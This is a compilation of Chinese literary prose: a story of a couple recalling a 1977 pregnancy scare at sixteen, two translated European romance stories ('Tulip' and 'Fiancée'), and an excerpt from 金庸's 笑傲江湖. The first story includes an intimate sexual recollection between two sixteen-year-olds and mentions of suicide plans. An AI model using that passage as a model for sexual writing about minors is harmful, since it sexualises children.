　　一九七七年的秋天和两个少年有关。在那个天空明亮的日子里，他们乘坐一辆嘎吱作响的公共汽车，去四十里以外的某个地方。车票是男孩买的，女孩一直躲在车站外的一根水泥电线杆后。在她的四周飘扬着落叶和尘土，水泥电线杆发出的嗡嗡声覆盖着周围错综复杂的声响，女孩此刻的心情像一页课文一样单调，她偷偷望着车站敞开的小门，她的目光平静如水。然后男孩从车站走了出来，他的脸色苍白而又憔悴。他知道女孩躲在何处，但他没有看她。他往那座桥的方向走了过去，他在走过去时十分紧张地左顾右盼。不久之后他走到了桥上，他心神不安地站住了脚，然后才朝那边的女孩望了一眼。他看到女孩此刻正看着自己，他便狠狠地盯了她一眼，可她依旧看着他。他非常生气地转过脸去。在此后的一段时间里，他一直站在桥上，他一直没有看她。但他总觉得她始终都在看着自己，这个想法使他惊慌失措。后来他确定四周没有熟人，才朝她走去。他走过去时的胆战心惊，她丝毫不觉。她看到这个白皙的少年在阳光里走来时十分动人。她内心微微有些激动，因此她脸上露出了笑容。然而他走到她身旁后却对她的笑容表示了愤怒，他低声说：“这种时候你还能笑？”

　　她的美丽微笑还未成长便被他摧残了。她有些紧张地望着他，因为他的神色有些凶狠。这种凶狠此刻还在继续下去，他说：“我说过多少次，你不要看我，你要装着不认识我。你为什么看我？真讨厌。”她没有丝毫反抗的表示，只是将目光从他脸上无声地移开。她看着地上一片枯黄的树叶，听着他从牙缝里出来的声音。他告诉她：“上车以后你先找到座位坐下，如果没有熟人，我就坐到你身旁。如果有熟人，我就站在车门旁。记住，我们互相不要说话。”他将车票递了过去，她拿住后他就走开了。他没有走向候车室，而是走向那座桥。

　　这个女孩在十多年之后接近三十岁的时候，就坐在我的对面。我们一起坐在一间黄昏的屋子里，那是我们的寓所。我们的窗帘垂挂在两端，落日的余辉在窗台上飘浮。她坐在窗前的一把椅子里，正在织一条天蓝色的围巾。此刻围巾的长度已经超过了她的身高，可她还在往下织。坐在她对面的我，曾在一九七七年的秋天与她一起去那个四十里以外的地方。我们在五岁的时候就相互认识，这种认识经过长途跋涉以后，导致了婚姻的出现。我们的第一次性生活是在我们十六岁行将结束时完成的。她第一次怀孕也是在那时候。她此刻坐在窗前的姿势已经重复了五年，因此我看着她的目光怎么还会有激情？多年来，她总是在我眼前晃来晃去，这种晃来晃去使我沮丧无比。我的最大错误就是在结婚的前一夜，没有及时意识到她一生都将在我眼前晃来晃去。所以我的生活才变得越来越陈旧。现在她在织着围巾的时候，我手里正拿着作家洪峰的一封信。洪峰的美妙经历感动了我，我觉得自己没有理由将这种旧报纸似的生活继续下去。

　　因此我像她重复的坐姿一样重复着现在的话，我不断向她指明的，是青梅竹马的可怕。我一次又一次地问她：

　　“难道你不觉得我太熟悉了吗？”

　　但她始终以一种迷茫的神色望着我。

　　我继续说：“我们从五岁的时候就认识了，二十多年后我们居然还在一起。我们谁还能指望对方来改变自己呢？”

　　她总是在这个时候表现出一些慌乱。

　　“你对我来说，早已如一张贴在墙上的白纸一样一览无余。而我对于你，不也同样如此？”

　　我看到她眼泪流下来时显得有些愚蠢。

　　我仍然往下说：“我们唯一可做的事只剩下回忆过去。可是过多的回忆，使我们的过去像每日的早餐那样，总在预料之中。”我们的第一次性生活是我们十六岁行将结束时完成的。在那个没有月光的夜晚，我们在学校操场中央的草地上，我们颤抖不已地拥抱在一起，是因为我们胆战心惊。不远的那条小路上，有拿着手电走过的人，他们的说话声在夜空里像匕首一样锋利，好几次都差点使我仓皇而逃。只是因为我被她紧紧抱住，才使我现在回忆当初的情景时，没有明显地看到自己的狼狈。

　　我一想到那个夜晚就会感受到草地上露珠的潮湿。当我的手侵入她的衣服时，她热烈的体温使我不停地打寒战。我的手在她的腹部往下进入，我开始感受到如草地一样的潮湿了。起先我什么都不想干，我觉得抚摸一下就足够了。可是后来我非常想看一眼，我很想知道那地方是怎么回事。但是在那个没有月光的夜晚，我凑过去闻到的只是一股平淡的气味。在那个黑乎乎潮湿的地方所散发的气味，是我以前从未闻到过的气味。然而这种气味并未像我以前想象的那么激动人心。尽管如此，在不久之后我还是干了那桩事。欲望的一往无前差点毁了我，在此后很多的日子里，我设计了多种自杀与逃亡的方案。在她越来越像孕妇的时候，我接近崩溃的绝望使我对当初只有几分钟天旋地转般的快乐痛恨无比。在一九七七年秋天的那一日，我与她一起前往四十里以外的那个地方，我希望那家坐落在马路旁的医院能够证实一切都是一场虚惊。她面临困难所表现出来的紧张，并未像我那样来势凶猛。当我提出应该去医院检查一下时，她马上想起那个四十里以外的地方。她当时表现的冷静与理智使我暗暗有些吃惊。她提出的这个地方向我暗示了一种起码的安全，这样将会没人知道我们所进行的这次神秘的检查。可是她随后颇有激情地提起五年前她曾去过那个地方，她对那个地方街道的描述，以及泊在海边退役的海轮的抒情，使我十分生气。我告诉她我们准备前往并不是为了游玩，而是一次要命的检查。这次检查关系到我们是否还能活下去。我告诉她这次检查的结果若证实她确已怀孕，那么我们将被学校开除，将被各自的父母驱出家门。有关我们的传闻将像街上的灰尘一样经久不息。我们最后只能：“自杀。”她只有在这个时候才显得惊慌失措。几年以后她告诉我，我当时的脸色十分恐怖。我当时对我们的结局的设计，显然使她大吃一惊。可是她即便在惊慌失措的时候也从不真正绝望。她认为起码是她的父母不会把她驱出家庭，但她承认她的父母会惩罚她。她安慰我：

　　“惩罚比自杀好。”那天我是最后一个上车的，我从后面看着她上车，她不停地向我回身张望。我让她不要看我，反复提醒在她那里始终是一页白纸。我上车的时候汽车已经发动起来。我没有立刻走向我的座位，而是站在门旁。我的目光在车内所有的脸上转来转去，我看到起码有二十张曾经见过的脸。因此我无法走向自己的座位，我只能站在这辆已经行驶的汽车里。我看着那条破烂不堪的公路怎样捉弄着我们的汽车。我感到自己像是被装在瓶子里，然后被人不停地摇晃。后来我听到她在叫我的声音，她的声音使我蓦然产生无比的恐惧。我因为她的不懂事而极为愤怒，我没有答理。我希望她因此终止那种叫声，可是她那种令人讨厌的叫声却不停地重复着。我只能转过头去，我知道自己此刻的脸色像路旁的杂草一样青得可怕。然而她脸上却洋溢着天真烂漫的笑容，她佯装吃惊的样子表示了她与我是意外相遇。然后她邀请我坐在她身旁的空座位上。我只能走过去。我在她身旁坐下以后感到她的身体有意紧挨着我。她说了很多话，可我一句都没有听进去，我为了掩饰只能不停地点头。这一切使我心烦意乱。那时候她偷偷捏住了我的手指，我立刻甩开她的手。在这种时候她居然还会这样，真要把我气疯过去。此刻她才重视我的愤怒，她不再说话，自然也不会伸过手来。她似乎十分委屈地转过脸去，望着车外萧杀的景色。然而她的安静并未保持多久，在汽车一次剧烈的震颤后，她突然哧哧笑了起来。接着凑近我偷偷说：“腹内的小孩震出来了。”

　　她的玩笑只能加剧我的气愤，因此我凑近她咬牙切齿地低声说：“闭上你的嘴。”后来我看到了几艘泊在海边的轮船，有两艘已被拆得惨不忍睹，只有一艘暂且完整无损。有几只灰色的鸟在海边水草上盘旋。汽车在驶入车站大约几分钟以后，两个少年从车站出口处走了出来。那时候一辆卡车从他们身旁驶过，扬起的灰尘将他们的身体涂改了一下。

　　男孩此刻铁青着脸，他一声不吭地往前走。女孩似乎有些害怕地跟在他身后，她不时偷偷看他侧面的脸色。男孩在走到一条胡同口时，没有走向医院的方向，而是走入了胡同。女孩也走了进去。男孩一直走到胡同的中央才站住脚，女孩也站住了脚。他们共同看着一个中年的女人走来，又看着她走出胡同。然后男孩低声吼了起来：

　　“你为什么叫我？”

　　女孩委屈地看着他，然后才说：

　　“我怕你站着太累。”男孩继续吼道：“我说过多少次了，你别看我。可你总看我，而且还叫我的名字，用手捏我。”这时有两个男人从胡同口走来，男孩不再说话，女孩也没有辩解。那两个男人从他们身边走过时，兴趣十足地看了他们一眼。两个男人走过去以后，男孩就往胡同口走去了，女孩迟疑了一下也跟了上去。

　　他们默不作声地走在通往医院的大街上。男孩此刻不再怒气冲冲，在医院越来越接近的时候，他显得越来越忧心忡忡。他转过脸去看着身旁的女孩，女孩的双眼正望着前方。从她有些迷茫的眼神里，他感到医院就在前面。

　　然后他们来到了医院的门厅，挂号处空空荡荡。男孩此刻突然胆怯起来，他不由走出门厅，站在外面。他这时突然害怕地感到自己会被人抓住，他没有丝毫勇气进入眼下的冒险。当女孩也走出门厅时，他找到了掩盖自己胆怯的理由，他要让女孩独自去冒险，而自己则随时准备逃之夭夭。他告诉她：他继续陪着她实在太危险，别人一眼就会看出这两个少年干了什么坏事。他让她：

　　“你一个人去吧。”她没有表示异议，点了点头后就走了进去。他看着她走到挂号处的窗前，她从口袋里掏出钱来时没有显出一丝紧张。他听到她告诉里面的人她叫什么名字，她二十岁。名字是假的，年龄也是假的。这些他事先并未设计好。然后他听到她说：“妇科。”这两个字使他不寒而栗，他感到她的声音有些疲倦。接着她离开窗口转身看了他一眼，随后走上楼梯。她手里拿着的病历在上楼时摇摇晃晃。

　　男孩一直看着她的身影在楼梯上消失，然后才将目光移开。他感到心情越来越沉重，呼吸也困难起来。他望着大街上的目光在此刻杂乱无章。他在那里站了好长一段时间，那个楼梯总有人下来，可是她一直没有下来。他不由害怕起来，他感到自己所干的事已在这个楼上被揭发。这个想法变得越来越真实，因此他也越发紧张。他决定逃离这个地方，于是便往大街对面走去，他在横穿大街时显得丧魂落魄。他来到街对面后，没有停留，而是立刻钻入一家商店。

　　那是一家杂货店，一个丑陋不堪的年轻女子站在柜台内一副无所事事的模样。另一边有两个男人在拉玻璃，他便走到近旁看着他们。同时不时地往街对面的医院望上一眼。那是一块青色的玻璃，两个男人都在抽烟，因此玻璃上有几堆小小的烟灰。两个男人那种没有心事的无聊模样，使他更为沉重。他看着钻石在玻璃上划过时出现一道白痕，那声音仿佛破裂似的来回响着。不久后女孩出现在街对面，她站在一棵梧桐树旁有些不知所措地在寻找男孩。男孩透过商店布满灰尘的窗玻璃看到了她。他看到女孩身后并未站着可疑的人，于是立刻走出商店。他在穿越街道时，她便看到了他。待他走到近旁，她向他苦笑一下，低声说：“有了。”男孩像一棵树一样半晌没有动弹，仅有的一丝希望在此刻彻底破灭了。他望着眼前愁眉不展的女孩说：

　　“怎么办呢？”女孩轻声说：“我不知道。”

　　男孩继续说：“怎么办呢？

　　女孩安慰他：“别去想这些了，我们去那些商店看看吧。”

　　男孩摇摇头，说：“我不想去。”

　　女孩不再说话，她看着大街上来回的车辆，几个行人过来时发出嘻嘻笑声。他们过去以后，女孩再次说：

　　“去商店看看吧。”男孩还是说：“我不想去。”

　　他们一直站在那里，很久以后男孩才有气无力地说：“我们回去吧。”女孩点点头。然后他们往回走去。走不多远，在一家商店前，女孩站住了脚，她拉住男孩的衣袖，说道：

　　“我们进去看看吧。”男孩迟疑了一会儿就和她一起走入商店。他们在一条白色的学生裙前站了很久，女孩一直看着这条裙子，她告诉男孩：“我很喜欢这条裙子。”

　　女孩的嗓音在十六岁时已经固定下来。在此后的十多年里，她的声音几乎每日都要在我的耳边盘旋。这种过于熟悉的声音，已将我的激情清扫。因此在此刻的黄昏里，我看着坐在对面的妻子，只会感到越来越疲倦。她还在织着那条天蓝色的围巾。她的脸依然还是过去的脸。只是此刻的脸已失去昔日的弹性。她脸上的皱纹是在我的目光下成长起来的，我熟悉它们犹如熟悉自己的手掌。现在她开始注意我的话了。

　　“在你还没有说话的时候，我就知道你要说什么；在每天中午十一点半和傍晚五点的时候，我知道你要回家了。我可以在一百个女人的脚步声里，听出你的声音。而我对你来说，不也同样如此？”她停止了织毛衣的动作，她开始认真地望着我。

　　我继续说：“因此我们互相都不可能使对方感到惊喜。我们最多只能给对方一点高兴，而这种高兴在大街上到处都有。”这时她开口说话了，她说：

　　“我明白你的意思了。”

　　“是吗？”我不知道该如何对付她这句话。所以我只能这么说。她又说：“我明白你的意思了。”

　　我看到她的眼泪流了出来。

　　她说：“你是想把我一脚踢开。”

　　我没有否认，而是说：“这话多难听。”

　　她又重复道：“你想把我一脚踢开。”她的眼泪在继续流。

　　“这话太难听了。”我说。然后我建议道：

　　“让我们共同来回忆一下往事吧。”

　　“是最后一次吗？”她问。

　　我回避她的问话，继续说：“我们的回忆从什么时候开始呢？”“是最后一次吧？”她仍然这样问。

　　“从一九七七年的秋天开始吧。”我说，“我们坐上那辆嘎吱作响的汽车，去四十里以外的那个地方，去检查你是否已经怀孕。那个时候我可真是丧魂落魄。”

　　“你没有丧魂落魄。”她说。

　　“你不用安慰我，我确实丧魂落魄了。”

　　“不，你没有丧魂落魄。”她再次这样说，“我从认识你到现在，你只有一次丧魂落魄。”

　　我问：“什么时候？”“现在。”她回答。

郁金香

玛丽娅 · 恩里凯达

　　透过一扇窗子，人们可以看到很多东西。我就曾经坐在自家的窗前，一面绣着花边，一面目睹了女邻居的罗曼史。

　　我的邻居是一个织花边的女工。她人长得漂亮，但家境贫寒。她有两个追求者和一株栽在蓝瓷花盆里的郁金香。

　　我邻居和我住的那条街很背静，所以既无车辆来往，也很少有行人。过往人等全是当地的住户。像巴黎所有的街巷一样，那条街很窄，几乎每家的阳台上都挂有色彩鲜艳的宽红边遮阳布帘。

　　前面已经说过，我的邻居很穷，所以，她家的阳台上没有挂帘子。不过，太阳并未能阻止姑娘时常到阳台上去看她的郁金香。

　　那株没有几片叶子的柔弱小花，是我邻居时刻记挂在心的事情。每天晚上她都把它搬进卧室，怕它会受到北风的摧残；清晨再重新搬出来；中午阳光炽烈的时候，她就用一小块麻布给罩起来。她不时地跑进跑出，不是掸去沾染枝叶的尘土、摘掉偶然发现的枯叶，就是浇水、捉虫。

　　在当地的条件下，郁金香是长不好的，只有在炎热的地方，它才能长得枝繁叶茂。正是由于这个原因，我的邻居才对她的花盆那么精心地加以照料。早在好几个月之前她就把种子埋进了土里，直到现在它才初具样子，开始抽枝发芽，尽管还很柔弱、单薄，但毕竟还是就要开花了。

　　从姑娘挨近花盆时脸上流露出来的欣喜神态，我猜想这株花的枝头一定已经长出了第一个花骨朵儿了。

　　后来，我从这位漂亮的女工跟她楼上的邻居——她的追求者之一——的谈话中得到了证实。

　　“您一定非常高兴吧。几个月的苦心总算有了结果。很快您就能亲手摘下一朵美丽的郁金香啦。您打算把它和您的心一起送给谁呢？”

　　姑娘非常羞怯地回答：

　　“可能什么人也不给，我决不会把这朵朝思暮想的鲜花给摘下来的。它应该就在原来的枝头上凋谢。我还没有蠢到那种地步，让自己花费的如此巨大的心血毁之于一个短暂的瞬间。这是一个原因啰，再说，我还没想过要把我的心和这朵郁金香一起送给别人呢。”

　　“您瞧，我的好邻居，时间不饶人哪。春天已经到了，这可是谈情说爱的大好时机。您看那些小鸟，没有一只是独自飞翔的。您再瞧瞧这些花盆，全都在开花了。还有什么可说的呢？就说您这迟迟不开的郁金香吧，今天终于结了一个花骨朵儿。我的好邻居！您就可怜可怜我吧，您就痛痛快快地答应接受我做您的丈夫吧！”

　　女工的脸上泛起了红晕。

　　“您需要的不是妻子，而是理智。”

　　“如果您爱我，我就会有理智的。”

　　姑娘楼下的邻居是一个拘谨而又漂亮的小伙子，此刻，也正好站在自家的阳台上。他听了两个人的对话之后，皱了皱眉头，但却没动声色，因为他也爱着那个花边女工。

　　我是在绣花的时候，从窗口发现这个不善交际的小伙子的秘密的。不过，时至今日，他和心中的恋人一共也没有说过几句话。

　　我觉得他既腼腆又内向，既敏感又多情。

　　很久以前，我偶然发现，有一次，他趁女邻居不在的空隙，把一封信扔到了她的阳台上。

　　他是否收到了回信，我不得而知；不过每当姑娘来到阳台上的时候，他几乎连仰起头来跟她表示爱慕之情的勇气都没有，只能简单的寒暄几句。

　　“天气真好，小姐！”

　　“是啊，真好；对我的郁金香来说，可真是再好不过了。”

　　“您不再为它担心啦？”

　　“不啦，已经不用担心了，现在它长得可好啦，又长出了两片叶子。”

　　“谢天谢地，您总算如愿了。您为这株花可真是操尽了心啊！”

　　“是啊，的确是这样，我把空闲时间全搭上了。”

　　“您的空闲时间实在少得可怜，小姐！我看您太辛苦了……有时候，已经很晚很晚了，我还见您房里的灯光映在对面的墙上。您会累病的。”

　　“不会的，我身体很好。上帝会保佑我的。”

　　“但愿如此。”

　　小伙子的声音微微发颤，美好的憧憬使他的眼睛显得更加美丽。可是，姑娘却没法看到他眼神的含义，因为他已经闭上了眼睛。

　　“回头见，先生。”姑娘说着转身走进屋里。

　　“回头见，小姐。”

　　这种一向质朴的谈话，给我留下了极好的印象。

　　我的女邻居的确太忙。我总是看见她手里拿着编织针，不停地织呀、织呀，简直就像一只不知闲的小蜘蛛。她织出来的花边是多么轻巧、多么精美啊！……真可以说，仿佛一阵风就能吹破。一会儿是条边，一会儿是荷叶边，一会儿方，一会儿圆。丝线在她手中的活计上面宛如蝴蝶一般随意飞舞，看着它，真会觉得眼花缭乱。姑娘用她那双巧手麻利而又熟练地摆弄着根根丝线，又是穿、又是扯、又是捋。丝线也真听话，总是乖乖就范。

　　姑娘整天忙碌。她有时候嘴里哼着歌儿，有时候我又觉得她是在凝神沉思，好像手头碰到了难题。

　　楼下的邻居显然是放心不下，总是默默地仰望着她的阳台。

　　楼上的邻居却老是兴高采烈、笑容可掬，也常常低头注视着同一个地方，并且总能找到甜言蜜语和姑娘搭讪搭讪：

　　“您的脸蛋儿越来越漂亮，真像是两朵盛开的玫瑰。”

　　姑娘进进出出，虽然没有直接对答，但唇边却笑意盎然。

　　这位风流少年可能最后如愿吗？

　　这是谁也说不清楚的。姑娘还没有表露她的心愿，不过，这位小伙子却老是在用话语、用笑脸、用炽热的眼神把她纠缠。

　　在姑娘专心致志地编织着花边的同时，小伙子正在巧妙地铺排着俘获她的情网。这已经是由来已久的事情了。他能成功吗？谁知道呢？

　　我的女邻居终于盼来了这个欣喜的时刻：今天早晨花苞绽开了，一朵美丽的郁金香，红得像是一团炽烈的炭火，迎着春光展开了自己的花瓣。

　　姑娘喜不自胜，第一次忙中偷闲，心醉神迷地站在那初放的花前。

　　我坐在自己的屋角里分享着她的欢乐，尽量不引起姑娘的注意。她楼下的邻居也一定非常高兴，不过，他不在家。这是我从他那关着的阳台玻璃门上知道的。可是，她楼上的邻居却赶上了，如同表述大家的喜悦心情一般，连连发出赞叹：

　　“太好了！太好了！现在咱们来好好庆祝一番！郁金香开花了。求求您，我的邻居……把这朵花送给我吧！我每天都在算着它开花的日子，比您还着急呢。它是属于我的，我有权得到它。您要是不给我，我也会把它偷到手的。它属于我，因为我爱您。街上没有人，谁也听不见。让我再说一遍：我爱您，我喜欢您，我崇拜您！把花送给我吧，我的好邻居！请您把它给我吧，否则，我就从这儿下去自己动手摘啦！”

　　小伙子说得很坚决。看样子要贸然采取行动。姑娘像一只受惊的鸽子一样犹豫不决，她满脸绯红，两手颤抖，虽然这样，但她的唇边和眼角却似乎流露出某种满意神情……

　　“邻居，快把花给我！”

　　他的语气像是命令，不过，却又非常得体，强制之中包含着并未尽言的柔情蜜意。

　　“快点，快点！会有人来的。快把花给我……要不，我马上就从这儿下去自己动手啦！”

　　姑娘恳求地仰起脸，想要自卫；但是小伙子却投给他火一般深情目光。这还不算，他还做出了想要从阳台下来的样子。

　　姑娘被吓坏啦，终于屈服了。她走到花盆跟前，摘下花扔到楼上，然后就跑进卧室，隐没在屋子里了。

　　楼上的邻居得意地拾起了花朵，热切地吻了一下，就插进了衣领上的扣眼里。他先是哼起轻快的小调，没过一会儿，就随身带着那朵花从家里走了出去。

　　这时，我难过地想着那朵刚刚开放就被摘了下来的郁金香。同时也凄然想起……不过，我的痛苦与我的邻居的罗曼史毫无关系；那么，咱们还是只讲有关她的事情吧。

　　那位幸运的小伙子走后不久，美丽的姑娘就又来到阳台上用麻布罩起了花盆，因为阳光又变得火辣辣的了。

　　这真是一个令人欢快的明媚早晨。整个天空犹如一顶硕大无朋的蓝缎华盖。

　　这时候，那位一大早就出了门、整个上午都没露面的楼下邻居，突然出现在阳台上了。

　　姑娘一看见他，就轻轻地发出了一声惊叫，我也跟着叫了一声……因为，这位急匆匆赶回来的人手里拿着一朵鲜红的郁金香……

　　姑娘和我都感到困惑不解，期待着……

　　“小姐，”小伙子恭恭敬敬地仰起脸说，“今天早上我出门以前，看到您的花盆里开出了第一朵花，可是我现在回来的时候，却非常痛心地发现它被扔到了街上。这条街上只有您养着郁金香，所以我猜想这是您的；后来看到花盆里果然没有花了，知道这花确实是您的，一定是风把它吹落到了街上；幸好我来得及时，才能把它捡回来还给它的主人。您拿去吧，小姐；如果您愿意，我就上楼给您送去。”

　　小伙子的脸上带着质朴的甜蜜神情。当他举目凝望女友的时候，眼睛里闪烁着温柔的光芒。小伙子手举着郁金香站在阳台下面，真是一幅情趣无穷的图画。

　　当楼下邻居说话的时候，姑娘心中真是百感交集。她脸上流露出惊奇、气愤、鄙夷，不过，此刻却似乎又满含着一片柔情，带着甜蜜的笑意。

　　小伙子还憨厚地站在那里重复着：

　　“小姐，这是您的郁金香；如果您愿意，我就上楼给您送去。”

　　然而，姑娘却说：

　　“不，不，先生，不要给我啦；如果您喜欢，那您就留下吧……”

　　“那怎么行！”小伙子怯生生地说，“我可以把这朵花留下？”

　　姑娘也羞涩地回答：

　　“对，您可以留下，我希望您把它留下……”

　　两个人都不再说话了，这时，正有一群欢快的燕子叽叽喳喳地从街上飞过，好像是为此时此刻唱着赞歌。

未婚妻

玛 · 奥克罗克斯

　　假期之后，我回巴黎去。我到车站的时候，火车上已坐满了旅客。我在各节车厢里都寻找遍了，想觅一个座位。但找来找去，只在最末一节车厢里，寻着一个空座，并且上面还放了两个鸡鸭篮子，里面的鸡鸭不停地伸出头在窥探。我迟疑了半天，才决定进去。我正想在这熙攘的旅客中，寻找这篮子的主人，有一个穿农夫衣服的人对我说：“小姐，请等一会儿，我就把那个篮子拿下来。”

　　我于是把放在他膝上的果篮拿下来，他这才立起身来，将鸡鸭篮移在座位底下。鸭子很不愿意，我由它们的叫声中可以知道，鸡低下它们的头，好象被侮辱了似的。农夫的妻子，叫着它们的名字，和它们谈话。

　　当我坐下来的时候，鸭子也安静了。坐在我对面的一位旅客，问农夫的鸡鸭是否带到市场上去的。

　　“先生，不是的。”农夫这样的回答，“我带给我儿子的，后天他就要结婚了。”

　　他容光焕发，四下看着，很象要人人都知道他现在是非常幸福的人似的。

　　火车开行了。问他鸡鸭的那个旅客，展开了他的报纸。在这时候，农夫又和他攀谈起来：“我的儿子，他在巴黎一家商店里做事，他将要和一个青年女郎结婚，也是在商店里做事的。”

　　旅客将报放在膝上，一只手还拿着，静听了一会儿道：“那个女郎很美丽吗？”

　　农夫说：“我们不知道，我们还没有见过她呢。”

　　旅客说：“真的吗！那么，倘若她是很丑，你恐怕也要不喜欢她了罢？”

　　村人回答道：“那也许她是很丑的。不过，我们仍是欢喜她，因为我们最疼爱的孩子，愿意娶一个貌丑的妻子。”

　　坐在我旁边的农夫妻子接口道：“还有，若是她能令我们的菲力欢喜，一定也能叫我们欢喜的。”她转过来看着我，在她的小圆脸上，温和的眼光，表示着笑容。从她的外表看去，我绝不相信，她能有一个行将结婚的儿子。她问我是否到巴黎去。当我点头承认后，坐在我对面的旅客，又说起笑话来。

　　他说：“我愿意打赌，这位青年女士就是你儿子的未婚妻。她是秘密地来会她的公婆的，却不说出她是谁来。”

　　人们都望着我，我脸不由得红起来。村人和他的妻子一同说道：“倘若这是真的，我们真欢喜极了！”

　　我告诉他们那完全不对。但是，那位旅客仍然不相信。他的理由是，我将上车的时候，窥探了两次，好象在找人似的，并且迟疑了半天，才决定进来。别的旅客都笑了。我极力解释，说那是因为寻觅座位的缘故。

　　村人说：“那也没有什么要紧，若是我们的媳妇真象你一样，那我们就幸福极了。”

　　那位旅客仍保持着他的戏谑态度，看了我一眼，对农夫说：“等你到了巴黎时，你就知道，我并没有弄错。你的儿子将要对你说，‘这就是我的未婚妻。’”

　　过了一会儿，村妇转过来对着我，在篮子里寻出一块饼来，对我说，这是她那天早上亲自做的。我没有什么话可以推辞，只好说，我身体有些不舒服，受了寒，将饼退还给她。她扔在篮里，却又给我一串葡萄。我无法推辞，只好接受了。

　　当火车停了的时候，她丈夫要去替我弄热水喝，我又无法阻止他，真觉十分的不安。

　　我看着这位慈善的老人，不禁很为懊恼，因为我不能真正当他的媳妇啊！我知道他们对我的感情是很深厚的。唉！我到处漂泊，没有见过我的父母，永远是异乡过客。

　　我时时看见他们在注视着我。

　　火车到了巴黎车站的时候，我帮助他们把篮子拿下去，并且给他们指路。我看见一个少年奔向他们跟前来，双手紧紧地搂抱着他们。我赶紧躲开了。离着他们远些站着。他和他们不住地接吻，亲了又亲，亲了又亲。他们面含着笑容，一望而知他们心中是无限快乐。行李撞着的时候，挑夫们的呼喊声，他们都没有听见。

　　我跟着他们到了车站门。儿子一只手臂挎着一篮鸡，另一只手紧搂着他母亲的腰。他愉快的眼睛含着笑容，和他父亲一样。

　　站外面很暗，我将大衣领子翻了起来，相隔数步跟在这对老夫妇后面。儿子出去看他的马车。村人用手抚摸着一个花点的大头鸡，对妻子说道：“若是我们早知道她不是我们的媳妇，我们应当把这只花点的鸡送给她。”

　　妻子也抚摸着鸡说：“是的，若是我们早知道了。”

　　她转向出站的人们看了一会，并且向远处也看了看道：“她不在这些人当中了。”

　　儿子和马车来了，他扶着他父母进了车，他坐在一旁，仍然不住地看着他们。他看起来很强健和蔼。我想，他的未婚妻，真是一个幸福的女子呢！

　　马车走远了，我慢慢地走到街上去。今天的所遇，感动着我，使我不愿再回到我那孤寂的小屋子里。我已经二十岁了，还没有人向我求过婚呢。

刘正风灭门

节选自《笑傲江湖》

金庸

　　刘正风道：“在下一生之中，从未见过魔教教主东方不败一面，所谓勾结，所谓阴谋，却是从何说起？”

　　费彬侧头瞧着三师兄陆柏，等他说话。陆柏细声细语的道：“刘师兄，这话恐怕有些不尽不实了。魔教中有一位护法长老，名字叫作曲洋的，不知刘师兄是否相识？”

　　刘正风本来十分镇定，但听到他提起“曲洋”二字，登时变色，口唇紧闭，并不答话。

　　那胖子丁勉自进厅后从未出过一句声，这时突然厉声问道：“你识不识得曲洋？”他话声洪亮之极，这七个字吐出口来，人人耳中嗡嗡作响。他站在那里一动不动，身材本已魁梧奇伟，在各人眼中看来，似乎更突然高了尺许，显得威猛无比。

　　刘正风仍不置答，数千对眼光都集中在他脸上。各人都觉刘正风答与不答，都是一样，他既然答不出来，便等于默认了。过了良久，刘正风点头道：“不错！曲洋曲大哥，我不但识得，而且是我生平唯一知己，最要好的朋友。”

　　霎时之间，大厅中嘈杂一片，群雄纷纷议论。刘正风这几句话大出众人意料之外，各人猜到他若非抵赖不认，也不过承认和这曲洋曾有一面之缘，万没想到他竟然会说这魔教长老是他的知交朋友。

　　费彬脸上现出微笑，道：“你自己承认，那是再好也没有，大丈夫一人作事一身当。刘正风，左盟主定下两条路，凭你抉择。”

　　刘正风宛如没听到费彬的说话，神色木然，缓缓坐了下来，右手提起酒壶，斟了一杯，举杯就唇，慢慢喝了下去。群雄见他绸衫衣袖笔直下垂，不起半分波动，足见他定力奇高，在这紧急关头居然仍能丝毫不动声色，那是胆色与武功两者俱臻上乘，方克如此，两者缺一不可，各人无不暗暗佩服。

　　费彬朗声说道：“左盟主言道：刘正风乃衡山派中不可多得的人才，一时误交匪人，入了歧途，倘若能深自悔悟，我辈均是侠义道中的好朋友，岂可不与人为善，给他一条自新之路？左盟主吩咐兄弟转告刘师兄：你若选择这条路，限你一个月之内，杀了魔教长老曲洋，提头来见，那么过往一概不究，今后大家仍是好朋友、好兄弟。”

　　群雄均想：正邪不两立，魔教的旁门左道之士，和侠义道人物一见面就拚你死我活，左盟主要刘正风杀了曲洋自明心迹，那也不算是过分的要求。

　　刘正风脸上突然闪过一丝凄凉的笑容，说道：“曲大哥和我一见如故，倾盖相交。他和我十余次联床夜话，偶然涉及门户宗派的异见，他总是深自叹息，认为双方如此争斗，殊属无谓。我和曲大哥相交，只是研讨音律。他是七弦琴的高手，我喜欢吹箫，二人相见，大多时候总是琴箫相和，武功一道，从来不谈。”他说到这里，微微一笑，续道：“各位或者并不相信，然当今之世，刘正风以为抚琴奏乐，无人及得上曲大哥，而按孔吹箫，在下也不作第二人想。曲大哥虽是魔教中人，但自他琴音之中，我深知他性行高洁，大有光风霁月的襟怀。刘正风不但对他钦佩，抑且仰慕。刘某虽是一介鄙夫，却决计不肯加害这位君子。”

　　群雄越听越奇，万料不到他和曲洋相交，竟然由于音乐，欲待不信，又见他说得十分诚恳，实无半分作伪之态，均想江湖上奇行特立之士甚多，自来声色迷人，刘正风耽于音乐，也非异事。知道衡山派底细的人又想：衡山派历代高手都喜音乐，当今掌门人莫大先生外号“潇湘夜雨”，一把胡琴不离手，有“琴中藏剑，剑发琴音”八字外号，刘正风由吹萧而和曲洋相结交，自也大有可能。

　　费彬道：“你与曲魔头由音律而结交，此事左盟主早已查得清清楚楚。左盟主言道：魔教包藏祸心，知道我五岳剑派近年来好生兴旺，魔教难以对抗，便千方百计的想从中破坏，挑拨离间，无所不用其极。或动以财帛，或诱以美色。刘师兄素来操守谨严，那便设法投你所好，派曲洋来从音律入手。刘师兄，你脑子须得清醒些，魔教过去害死过咱们多少人，怎地你受了人家鬼蜮伎俩的迷惑，竟然毫不醒悟？”

　　定逸师太道：“是啊，费师弟此言不错。魔教的可怕，倒不在武功阴毒，还在种种诡计令人防不胜防。刘师弟，你是正人君子，上了卑鄙小人的当，那有甚么关系？你尽快把曲洋这魔头一剑杀了，干净爽快之极。我五岳剑派同气连枝，千万不可受魔教中歹人的挑拨，伤了同道的义气。”天门道人点头道：“刘师弟，君子之过，如日月之食，人所共知，知过能改，善莫大焉。你只须杀了那姓曲的魔头，侠义道中人，谁都会翘起大拇指，说一声‘衡山派刘正风果然是个善恶分明的好汉子。’我们做你朋友的，也都面上有光。”

　　刘正风并不置答，目光射到岳不群脸上，道：“岳师兄，你是位明辨是非的君子，这里许多位武林高人都逼我出卖朋友，你却怎么说？”

